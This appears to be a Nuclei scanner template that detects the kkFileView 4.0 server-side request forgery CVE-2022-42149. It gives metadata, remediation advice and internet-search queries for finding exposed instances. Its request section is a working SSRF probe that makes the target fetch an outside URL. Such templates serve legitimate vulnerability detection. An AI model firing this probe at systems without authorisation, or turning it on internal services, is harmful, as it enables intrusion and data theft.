id: CVE-2022-42149

info:
  name: kkFileView 4.0 - Server-Side Request Forgery
  author: Arm!tage
  severity: critical
  description: |
    kkFileView 4.0 contains a server-side request forgery caused by improper validation in OnlinePreviewController.java, letting attackers induce the server to make arbitrary requests, exploit requires sending crafted requests.
  impact: |
    Unauthenticated attackers can exploit SSRF to make the server fetch arbitrary URLs, potentially accessing internal services, bypassing firewall restrictions, and exfiltrating sensitive data from internal networks.
  remediation: |
    Update kkFileView to a version newer than 4.0 that properly validates URL parameters and restricts requests to trusted sources.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/296
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42149
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-42149
    cwe-id: CWE-918
    epss-score: 0.0225
    epss-percentile: 0.81158
    cpe: cpe:2.3:a:keking:kkfileview:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - app="kkFileView"
      - app="kkfileview"
      - body="kkfileview"
  tags: cve,cve2022,ssrf,kkfileview,keking,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/onlinePreview?url={{base64('http://oast.fun/robots.txt')}}"

    extractors:
      - type: regex
        name: data
        group: 1
        regex:
          - 'hidden id="textData" value="([A-Za-z0-9=]+)"\/>'
        internal: true
    matchers:
      - type: dsl
        dsl:
          - contains(base64_decode(data), "Disallow")
# digest: 490a00463044022039fb602bbe80d03122b3612f2883f0563b933899e025f15b42639f11e43020c902206798b27348fd21ec507b4aa2c40ad48a4416bbb7f4dfc168c023e21546e03b82:922c64590222798bb761d5b6d8e72950